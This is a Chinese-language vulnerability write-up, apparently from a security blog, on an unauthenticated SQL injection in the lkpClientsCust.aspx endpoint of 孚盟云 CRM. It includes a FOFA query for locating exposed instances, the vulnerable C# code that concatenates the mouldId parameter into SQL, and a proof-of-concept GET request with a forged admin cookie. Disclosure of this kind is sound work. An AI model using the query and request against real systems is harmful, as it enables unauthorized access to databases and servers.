孚盟云CRM lkpClientsCust.aspx SQL注入漏洞


漏洞简介

上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云lkpClientsCust.aspx接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

app="孚盟软件-孚盟云"

漏洞分析

直接看 lkpClientsCust.aspx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 lkpClientsCust 方法的实现如下

protected void Page_Load(object sender, EventArgs e)
{
  if (this.IsPostBack)
    return;
  this.DataStyleType = this.Request.QueryString["datastyletype"].ToString();
  this.mouldId = this.Request.QueryString["mouldId"].ToString();
  this.searchReturnField = this.Request.QueryString["searchfields"] == null ? "" : this.Request.QueryString["searchfields"];
  this.FilterSQL = this.Request.QueryString["FilterSQL"] == null ? "" : this.Request.QueryString["FilterSQL"].ToString();
  DataTable dataSource = new MouldDao().GetDataSource($"select DefaultValue from syListField where MouldID='{this.mouldId}' and FieldName='CType'");
  if (((InternalDataCollectionBase) dataSource.Rows).Count > 0)
    this.type = dataSource.Rows[0][0].ToString();
}

参数如mouldId未过滤或校验就被直接拼接进SQL语句执行,从而造成SQL注入漏洞。

漏洞复现

GET /PagePopWindow/lkpClientsCust.aspx?mouldId='SQLI_POC--&datastyletype= HTTP/1.1
Host: fumacrm.mrxn.net
Cookie: UserCookie={"empId":"admin","corpId": "1"}

成功通过报错注入在响应回显当前数据库用户信息


手机扫码阅读

金和OA JHSoft.Web.Departments/XmlHttp.aspx XXE+SQL注入漏洞

金和OA JHSoft.Web.CrmSystemSet/XMLHttp.aspx XXE漏洞

评 论